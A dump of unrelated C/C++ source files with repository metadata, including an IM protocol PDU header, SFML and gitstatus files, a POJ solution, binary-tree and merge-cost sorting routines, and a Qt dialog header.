CID_BUDDY_LIST_DEPARTMENT_REQUEST = 18, // query department
CID_BUDDY_LIST_DEPARTMENT_RESPONSE = 19,
};
// command id for group message
enum {
CID_GROUP_LIST_REQUEST = 1, // get group id list for an user
CID_GROUP_LIST_RESPONSE = 2, // return group id list for an user
CID_GROUP_USER_LIST_REQUEST = 3, // get user id list in a group
CID_GROUP_USER_LIST_RESPONSE = 4, // return user list in a group
CID_GROUP_UNREAD_CNT_REQUEST = 5,
CID_GROUP_UNREAD_CNT_RESPONSE = 6,
CID_GROUP_UNREAD_MSG_REQUEST = 7,
CID_GROUP_UNREAD_MSG_RESPONSE = 8,
CID_GROUP_MSG_READ_ACK = 11,
CID_GROUP_CREATE_TMP_GROUP_REQUEST = 12,
CID_GROUP_CREATE_TMP_GROUP_RESPONSE = 13,
CID_GROUP_CHANGE_MEMBER_REQUEST = 14,
CID_GROUP_CHANGE_MEMBER_RESPONSE = 15,
CID_GROUP_DIALOG_LIST_REQUEST = 16,
CID_GROUP_DIALOG_LIST_RESPONSE = 17,
CID_GROUP_CREATE_NORMAL_GROUP_NOTIFY = 18,
CID_GROUP_CHANGE_MEMEBER_NOTIFY = 19,
};
// command id for switch service
enum {
CID_SWITCH_P2P_CMD = 1, //
};
enum {
// To FileServer
CID_FILE_LOGIN_REQ = 1, // sender/receiver need to login to
CID_FILE_LOGIN_RES = 2, // login success or failure
CID_FILE_STATE = 3,
CID_FILE_PULL_DATA_REQ = 4,
CID_FILE_PULL_DATA_RSP = 5,
// To MsgServer
CID_FILE_REQUEST = 10, // sender -> receiver
CID_FILE_RESPONSE = 11, // receiver -> sender
CID_FILE_NOTIFY = 12,
CID_FILE_HAS_OFFLINE_REQ = 16,
CID_FILE_HAS_OFFLINE_RES = 17,
CID_FILE_ADD_OFFLINE_REQ = 18,
CID_FILE_DEL_OFFLINE_REQ = 19,
};
// message type: 1-between two user(peer to peer), 2-group message 3-audio message
#define MSG_TYPE_P2P_FLAG 0x00
#define MSG_TYPE_GROUP_FLAG 0x10
#define CHECK_MSG_TYPE_GROUP(msg_type) \
({\
bool bRet = false;\
if ((msg_type & MSG_TYPE_GROUP_FLAG) == MSG_TYPE_GROUP_FLAG)\
{\
bRet = true;\
}\
bRet;\
})
enum {
MSG_TYPE_P2P_TEXT = MSG_TYPE_P2P_FLAG + 0x01,
MSG_TYPE_P2P_AUDIO = MSG_TYPE_P2P_FLAG + 0x02,
MSG_TYPE_GROUP_TEXT = MSG_TYPE_GROUP_FLAG + 0x01,
MSG_TYPE_GROUP_AUDIO = MSG_TYPE_GROUP_FLAG + 0x02,
};
// client type:
#define CLIENT_TYPE_FLAG_NONE 0x00
#define CLIENT_TYPE_FLAG_PC 0x01
#define CLIENT_TYPE_FLAG_MOBILE 0x02
#define CLIENT_TYPE_FLAG_BOTH 0x03
enum {
CLIENT_TYPE_WINDOWS = 0x01,
CLIENT_TYPE_MAC = 0x02,
CLIENT_TYPE_IOS = 0x11,
CLIENT_TYPE_ANDROID = 0x12,
};
#define CHECK_CLIENT_TYPE_PC(type) \
({\
bool bRet = false;\
if ((type & 0x10) == 0x00)\
{\
bRet = true;\
}\
bRet;\
})
#define CHECK_CLIENT_TYPE_MOBILE(type) \
({\
bool bRet = false;\
if ((type & 0x10) == 0x10)\
{\
bRet = true;\
}\
bRet;\
})
enum {
GROUP_MEMBER_ADD_TYPE = 0x00,
GROUP_MEMBER_DEL_TYPE = 0x01,
};
#define PARSE_PACKET_ASSERT if (is.GetPos() != (len - IM_PDU_HEADER_LEN)) { \
throw CPduException(m_pdu_header.module_id, m_pdu_header.command_id, ERROR_CODE_PARSE_FAILED, "parse packet failed"); \
}
#define ALLOC_FAIL_ASSERT(p) if (p == NULL) { \
throw CPduException(m_pdu_header.module_id, m_pdu_header.command_id, ERROR_CODE_ALLOC_FAILED, "allocate failed"); \
}
#ifdef WIN32
#ifdef BUILD_PDU
#define DLL_MODIFIER __declspec(dllexport)
#else
#define DLL_MODIFIER __declspec(dllimport)
#endif
#else
#define DLL_MODIFIER
#endif
typedef struct {
uint32_t user_id;
uint32_t name_len;
char* name;
uint32_t nick_name_len;
char* nick_name;
uint32_t avatar_len;
char* avatar_url; // user image url
uint32_t title_len;
char* title; // 职务
uint32_t position_len;
char* position; // 地址
uint32_t role_status; // 用户在职状态 0:在职 1:离职
uint32_t sex; // 0:女 1:男
uint32_t depart_id; // 部门id
uint32_t job_num; // 工号
uint32_t telphone_len;
char* telphone; // 电话
uint32_t email_len;
char* email; // 邮箱
uint32_t user_updated; // 更新时间
} user_info_t;
typedef struct {
uint32_t id_len;
char* id_url;
uint32_t name_len;
char* name;
uint32_t nick_name_len;
char* nick_name;
uint32_t avatar_len;
char* avatar_url; // user image url
uint32_t title_len;
char* title; // 职务
uint32_t position_len;
char* position; // 地址
uint32_t role_status; // 用户在职状态 0:在职 1:离职
uint32_t sex; // 0:女 1:男
uint32_t depart_id_len;
char* depart_id_url; // 部门id
uint32_t job_num; // 工号
uint32_t telphone_len;
char* telphone; // 电话
uint32_t email_len;
char* email; // 邮箱
uint32_t user_updated; // 更新时间
} client_user_info_t;
typedef struct {
uint32_t depart_id; //部门id
uint32_t title_len;
char* title; //部门名称
uint32_t description_len;
char* description; //部门描述
uint32_t parent_depart_id; //上级部门id
uint32_t leader; //部门leader id
uint32_t status; //部门状态 0:正常 1:删除
}department_info_t;
typedef struct {
uint32_t depart_id_url_len;
char* depart_id_url; //部门id的url
uint32_t title_len;
char* title; //部门名称
uint32_t description_len;
char* description; //部门描述
uint32_t parent_depart_id_url_len;
char* parent_depart_id_url; //上级部门id
uint32_t leader_len;
char* leader; //部门leader id
uint32_t status; //部门状态 0:正常 1:删除
} client_department_info_t;
typedef struct {
uint32_t user_id;
uint32_t status;
} user_stat_t;
typedef struct {
uint32_t id_len;
char* id_url;
uint32_t status;
} client_user_stat_t;
// 0x01: CLIENT_TYPE_PC
// 0x02: CLIENT_TYPE_MOBILE
// 0x03: CLIENT_TYPE_BOTH
typedef struct {
uint32_t user_id;
uint32_t status;
uint32_t client_type_flag;
} user_conn_stat_t;
typedef struct {
uint32_t from_user_id;
uint32_t from_name_len;
char* from_name;
uint32_t from_nick_name_len;
char* from_nick_name;
uint32_t from_avatar_len;
char* from_avatar_url;
uint32_t create_time;
uint8_t msg_type;
uint32_t msg_len;
uchar_t* msg_data;
} server_msg_t;
typedef struct {
uint32_t from_user_id;
uint32_t unread_msg_cnt;
} UserUnreadMsgCnt_t;
typedef struct ip_addr_t{
uint32_t ip_len;
char* ip;
uint16_t port;
} ip_addr;
typedef struct svr_ip_addr_t{
std::string ip;
uint16_t port;
svr_ip_addr_t() {
port = 0;
}
svr_ip_addr_t (const char* addr, uint16_t p) {
ip = addr;
port = p;
}
}svr_ip_addr;
//////////////////////////////
typedef struct {
uint32_t length; // the whole pdu length
uint16_t module_id; //
uint16_t command_id; //
uint16_t version; // pdu version number
uint16_t reserved; //
} PduHeader_t;
class DLL_MODIFIER CImPdu
{
public:
CImPdu();
virtual ~CImPdu() {}
uchar_t* GetBuffer();
uint32_t GetLength();
uint16_t GetVersion() { return m_pdu_header.version; }
uint16_t GetModuleId() { return m_pdu_header.module_id; }
uint16_t GetCommandId() { return m_pdu_header.command_id; }
uint16_t GetReserved() { return m_pdu_header.reserved; }
void SetVersion(uint16_t version);
void SetReserved(uint16_t reserved);
void WriteHeader();
virtual uint16_t GetPduType() { return 0; }
static int ReadPduHeader(uchar_t* buf, uint32_t len, PduHeader_t* header);
static CImPdu* ReadPdu(uchar_t* buf, uint32_t len);
private:
static CImPdu* ReadPduLogin(uint16_t command_id, uchar_t* pdu_buf, uint32_t pdu_len);
static CImPdu* ReadPduBuddyList(uint16_t command_id, uchar_t* pdu_buf, uint32_t pdu_len);
static CImPdu* ReadPduGroup(uint16_t command_id, uchar_t* pdu_buf, uint32_t pdu_len);
static CImPdu* ReadPduMsg(uint16_t command_id, uchar_t* pdu_buf, uint32_t pdu_len);
static CImPdu* ReadPduSwitchService(uint16_t command_id, uchar_t* pdu_buf, uint32_t pdu_len);
static CImPdu* ReadPduFile(uint16_t command_id, uchar_t* pdu_buf, uint32_t pdu_len);
static CImPdu* ReadPduOther(uint16_t command_id, uchar_t* pdu_buf, uint32_t pdu_len);
static bool _IsPduAvailable(uchar_t* buf, uint32_t len, uint32_t& pdu_len);
void _SetIncomingLen(uint32_t len) { m_incoming_len = len; }
void _SetIncomingBuf(uchar_t* buf) { m_incoming_buf = buf; }
protected:
CSimpleBuffer m_buf;
uchar_t* m_incoming_buf;
uint32_t m_incoming_len;
PduHeader_t m_pdu_header;
};
#endif /* IMPDUBASE_H_ */
|
[
"luoning@mogujie.com"
] |
luoning@mogujie.com
|
eff2bd6c08a7fa42a1eb50b6497eda6b0312999f
|
098826f996535c4feed509b0e665f212dc76b0bc
|
/TinyEngine/v2/Core/System.hpp
|
01bf4eff10222faeeecacfa9d6cd2ea423f0c68c
|
[
"MIT"
] |
permissive
|
saldavonschwartz/TinyEngine
|
89f3569b3e4f7d4ca71fb81811af0389a1b6b7df
|
dbc1dfdf244f1380a90a8843af1508b50b30f0f6
|
refs/heads/master
| 2021-05-22T22:14:43.801640
| 2020-04-17T05:23:39
| 2020-04-17T05:23:39
| 253,120,730
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 560
|
hpp
|
//
// System.hpp
// TinyEngine
//
// Created by Federico Saldarini on 10/31/19.
// Copyright © 2019 0xfede. All rights reserved.
//
#ifndef System_hpp
#define System_hpp
class World;
// Basically an Interface to follow:
struct System {
// Called by world: (optional override)
void init(World* world) {}
// Called by world: (optional override)
void shutDown(World* world) {}
// Called by world: (optional override)
void query(World* world) {}
// Called by world: (required.)
void tick(World* world);
};
#endif /* System_hpp */
|
[
"saldavonschwartz@gmail.com"
] |
saldavonschwartz@gmail.com
|
8c8c414fd3f5f95cc15a242514edc4bc8a53533e
|
38a4afc2c3ab44aeef8203c50efb1784fe0c1f0f
|
/src/external/SFML/include/SFML/Audio/Export.hpp
|
e4a179c08f4276a4f09d715fba1b2ed735c996e1
|
[] |
no_license
|
omnomasaur/web_system
|
bfbe244bc2f54175b321b6cf34c3085fc17779b9
|
e38f84ff3b3be80e7ead2625514d9e8191fe69eb
|
refs/heads/master
| 2021-01-18T13:59:44.068002
| 2013-12-11T23:18:32
| 2013-12-11T23:18:32
| 9,456,276
| 12
| 6
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,663
|
hpp
|
////////////////////////////////////////////////////////////
//
// SFML - Simple and Fast Multimedia Library
// Copyright (C) 2007-2012 Laurent Gomila (laurent.gom@gmail.com)
//
// This software is provided 'as-is', without any express or implied warranty.
// In no event will the authors be held liable for any damages arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it freely,
// subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented;
// you must not claim that you wrote the original software.
// If you use this software in a product, an acknowledgment
// in the product documentation would be appreciated but is not required.
//
// 2. Altered source versions must be plainly marked as such,
// and must not be misrepresented as being the original software.
//
// 3. This notice may not be removed or altered from any source distribution.
//
////////////////////////////////////////////////////////////
#ifndef SFML_AUDIO_EXPORT_HPP
#define SFML_AUDIO_EXPORT_HPP
////////////////////////////////////////////////////////////
// Headers
////////////////////////////////////////////////////////////
#include <SFML/Config.hpp>
////////////////////////////////////////////////////////////
// Define portable import / export macros
////////////////////////////////////////////////////////////
#if defined(SFML_AUDIO_EXPORTS)
#define SFML_AUDIO_API SFML_API_EXPORT
#else
#define SFML_AUDIO_API SFML_API_IMPORT
#endif
#endif // SFML_AUDIO_EXPORT_HPP
|
[
"omnomasaur@gmail.com"
] |
omnomasaur@gmail.com
|
cb11140bfd48f398ce84ae4e9311b25ef692ec14
|
f2ee0909c84a3ee64a21be8118e252602f945808
|
/POJ/3450/11144627_AC_516MS_380K.cpp
|
9763a89c911292e7dac82debe457cd29cb60435e
|
[] |
no_license
|
zhsl/OJSolutions
|
498d5ec8f5101f7848b72a78b7188ef8d177b38f
|
c6a390bf839105b39dfb33194604841197e58472
|
refs/heads/master
| 2021-01-12T09:29:59.063957
| 2017-03-19T07:06:54
| 2017-03-19T07:06:54
| 76,168,886
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,061
|
cpp
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<math.h>
#include<iostream>
#include<string>
#include<algorithm>
#include<vector>
#include<queue>
#include<stack>
#include<map>
using namespace std;
#define LL __int64
#define pii pair<int,int>
#define Max(a,b) ((a)>(b)?(a):(b))
#define Min(a,b) ((a)<(b)?(a):(b))
#define mem(a,b) memset(a,b,sizeof(a))
#define lson l,mid,rt<<1
#define rson mid+1,r,rt<<1|1
const int N=4010,INF=0x3f3f3f3f,MOD=1999997;
const LL LLNF=0x3f3f3f3f3f3f3f3fLL;
char s[N][210],ans[210];
int next[210],w[N];
int n,m;
void getnext(char *a,int len)
{
int j=0,k=-1;
next[0]=-1;
while(j<len){
if(k==-1 || a[k]==a[j])
next[++j]=++k;
else k=next[k];
}
}
int cmp(char *a,int len)
{
int i,j,ok,k;
for(i=1;i<n;i++){
for(j=ok=k=0;j<w[i];j++){
while(k>0 && s[i][j]!=a[k])k=next[k];
if(s[i][j]==a[k])k++;
if(k==len){ok=1;break;}
}
if(!ok)return 0;
}
return 1;
}
int main()
{
// freopen("in.txt","r",stdin);
int i,j,maxlen,ok,t,lens,minlen;
while(~scanf("%d",&n) && n)
{
minlen=INF;
maxlen=-INF;
for(i=0;i<n;i++){
scanf("%s",s[i]);
w[i]=strlen(s[i]);
if(w[i]<minlen)minlen=w[i];
}
for(i=0;i<w[0];i++){
for(j=i+1;j<=w[0];j++){
lens=j-i;
if(lens<maxlen && lens<=minlen)continue;
getnext(*s+i,lens);
if(cmp(*s+i,lens)){
t=s[0][j];
s[0][j]='\0';
if(lens>maxlen){
maxlen=lens;
strcpy(ans,*s+i);
}
else if(strcmp(ans,*s+i)>0)
strcpy(ans,*s+i);
s[0][j]=t;
}
}
}
printf("%s\n",maxlen>0?ans:"IDENTITY LOST");
}
return 0;
}
|
[
"zhanghsl.it@foxmail.com"
] |
zhanghsl.it@foxmail.com
|
bd3fac7d378687b2f18a2e9f0e4423884c844a7f
|
ee7112e0a5e39b0e87c8bf6feca702af9cd4bc58
|
/gitstatus/src/timer.cc
|
0e9f64e9f0625c3449fa6c377a93c1b5750c56b3
|
[
"GPL-3.0-only",
"LicenseRef-scancode-unknown-license-reference",
"MIT",
"Apache-2.0"
] |
permissive
|
romkatv/powerlevel10k
|
51d20d52e1d209ca3e7fdf0929166887962b5cae
|
011b8469ab716d7d6fd1dc050ebdff81b6b830b0
|
refs/heads/master
| 2023-08-31T18:17:12.314399
| 2023-08-27T13:42:57
| 2023-08-27T13:42:57
| 172,378,503
| 39,690
| 2,657
|
MIT
| 2023-09-08T10:11:38
| 2019-02-24T19:09:45
|
Shell
|
UTF-8
|
C++
| false
| false
| 2,035
|
cc
|
// Copyright 2019 Roman Perepelitsa.
//
// This file is part of GitStatus.
//
// GitStatus is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// GitStatus is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with GitStatus. If not, see <https://www.gnu.org/licenses/>.
#include "timer.h"
#include <sys/resource.h>
#include <sys/time.h>
#include <time.h>
#include <cmath>
#include <limits>
#include "check.h"
#include "logging.h"
namespace gitstatus {
namespace {
double CpuTimeMs() {
auto ToMs = [](const timeval& tv) { return 1e3 * tv.tv_sec + 1e-3 * tv.tv_usec; };
rusage usage = {};
CHECK(getrusage(RUSAGE_SELF, &usage) == 0) << Errno();
return ToMs(usage.ru_utime) + ToMs(usage.ru_stime);
}
double WallTimeMs() {
// An attempt to call clock_gettime on an ancient version of MacOS fails at runtime.
// It's possible to detect the presence of clock_gettime at runtime but I don't have
// an ancient MacOS to test the code. Hence this.
#ifdef __APPLE__
return std::numeric_limits<double>::quiet_NaN();
#else
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return 1e3 * ts.tv_sec + 1e-6 * ts.tv_nsec;
#endif
}
} // namespace
void Timer::Start() {
cpu_ = CpuTimeMs();
wall_ = WallTimeMs();
}
void Timer::Report(const char* msg) {
double cpu = CpuTimeMs() - cpu_;
if (std::isnan(wall_)) {
LOG(INFO) << "Timing for: " << msg << ": " << cpu << "ms cpu";
} else {
double wall = WallTimeMs() - wall_;
LOG(INFO) << "Timing for: " << msg << ": " << cpu << "ms cpu, " << wall << "ms wall";
}
Start();
}
} // namespace gitstatus
|
[
"roman.perepelitsa@gmail.com"
] |
roman.perepelitsa@gmail.com
|
eb7c439a1ce5727c165f0143877fa26a74707b62
|
0607cad1b6883456bb30623650bda9e0425f6813
|
/27binarytree/right_view.cpp
|
babc0afd469fccf977043dc9972ac7aa5bf5f357
|
[] |
no_license
|
pnayak1501/cpp
|
23693a3c5001ae07a4f6fb39125d9139e47745f8
|
8b94e01379d02118a7d318a3f6ef4723a633bfa2
|
refs/heads/main
| 2023-05-26T09:34:34.201712
| 2021-06-09T14:40:19
| 2021-06-09T14:40:19
| 363,351,399
| 0
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,203
|
cpp
|
// Right view of a binary tree
#include<iostream>
#include<cstdlib>
#include <cmath>
#include<bits/stdc++.h>
using namespace std;
class Node{
public:
int data;
struct Node* left;
struct Node* right;
Node(int val){
data = val;
left = NULL;
right = NULL;
}
};
void rightView(Node* root){
if(root==NULL){
return;
}
queue<Node*> q;
q.push(root);
q.push(NULL);
while(!q.empty()){
Node* node = q.front();
q.pop();
if(node!=NULL){
if(q.front()==NULL){
cout<<node->data;
}
if(node->left!=NULL){
q.push(node->left);
}
if(node->right!=NULL){
q.push(node->right);
}
}else if(!q.empty()){
q.push(NULL);
}
}
}
int main(){
struct Node* root = new Node(1);
root->left = new Node(2);
root->right = new Node(3);
root->left->left = new Node(4);
root->left->right = new Node(5);
root->right->left = new Node(6);
root->right->right = new Node(7);
rightView(root);
return 0;
}
|
[
"noreply@github.com"
] |
pnayak1501.noreply@github.com
|
ae93ad8441fe34823dcdb09585e61ec33fec6743
|
9fe2b7394d8246fcf87439f560ff935f3d898e72
|
/EmrClient/views/propertySettingDlgs/FormulaDlg.h
|
4cfb2df449a42129aa53f8631b9300b4e714effc
|
[] |
no_license
|
sky-tree/emr
|
a04d5e3a66eea8ce0faf1ed1297f2d9de1533e05
|
468bb25b97959627730ed277fdfa72f9a6736013
|
refs/heads/master
| 2021-01-24T03:37:13.566997
| 2018-02-26T01:19:21
| 2018-02-26T01:19:21
| 122,894,442
| 0
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 777
|
h
|
#ifndef FORMULADLG_H
#define FORMULADLG_H
#include <QDialog>
#include "customDelegate/MSC_VER.h"
#if _MSC_VER >= 1600
#pragma execution_character_set("utf-8")
#endif
class QLineEdit;
class QFrame;
class QPushButton;
class FormulaDlg : public QDialog
{
Q_OBJECT
public:
explicit FormulaDlg(QDialog *parent = 0);
~FormulaDlg();
void createUI();
void initUI();
void InitData(QMap<QString, QString> &map);
private:
void resetMap();
private:
QMap<QString, QString> *m_map;
CREATE_UI_BEGIN
public:
QFrame *line;
QLineEdit *lineEdit_2;
QLineEdit *lineEdit;
QPushButton *cancelBtn;
QPushButton *confirmBtn;
CREATE_UI_END
private slots:
void onConfirmBtnClicked();
void onCancelBtnClicked();
};
#endif // FORMULADLG_H
|
[
"yinlu@shine-soft.com"
] |
yinlu@shine-soft.com
|
10a1f12709e6286b6ad68ef1cab412da562e2d74
|
c579a1add19e17b13bc819c1100ab02b0572b6c0
|
/source/power_sort.cpp
|
6daf98cf63ff1dac179f4a56460e7bad2aad4761
|
[] |
no_license
|
alexanderknop/S4SMS
|
7bcf1fc5d241cc8cff919efef4a3890e04f003c6
|
702b026749cfa5301b388ca7b1484e4f679f6e07
|
refs/heads/master
| 2020-04-15T19:53:42.973588
| 2019-02-01T01:37:15
| 2019-02-01T01:37:15
| 164,969,742
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,381
|
cpp
|
#include <vector>
#include <stack>
#include <iostream>
#include <cmath>
#include "power_sort.h"
using namespace std;
power_sort::power_sort() {
}
double power_sort::node_power(int s_1, int e_1, int s_2, int e_2, int n) {
double n_1 = e_1 - s_1 + 1;
double n_2 = e_2 - s_2 + 1;
double l = 0;
double a = (s_1 + n_1 / 2 - 1) / n;
double b = (s_2 + n_2 / 2 - 1) / n;
while (((int) (a * pow(2, l))) == ((int) (b * pow(2, l)))) {
l = l + 1;
}
return l;
}
double power_sort::operator()(vector<int> array) {
double result = 0;
vector<int> cstack;
run z(&cstack, 0);
run y(&cstack, 1);
stack<double> pstack;
int n = 0;
for (int i = 0; i < array.size(); i++) {
n += array[i];
}
int s_1 = 1;
int e_1 = array[0];
for (int i = 1; i < array.size(); i++) {
cstack.push_back(array[i - 1]);
int s_2 = e_1 + 1;
int e_2 = e_1 + array[i];
double p = node_power(s_1, e_1, s_2, e_2, n);
while (pstack.size() > 0 && pstack.top() > p) {
pstack.pop();
result += (*y) + (*z);
merge(y, z);
s_1 = e_1 - (*z) + 1;
}
pstack.push(p);
s_1 = s_2;
e_1 = e_2;
}
cstack.push_back(array[array.size() - 1]);
while(cstack.size() > 1) {
result += (*y) + (*z);
merge(y, z);
}
return result;
}
|
[
"alexander@air-alexander.attlocal.net"
] |
alexander@air-alexander.attlocal.net
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.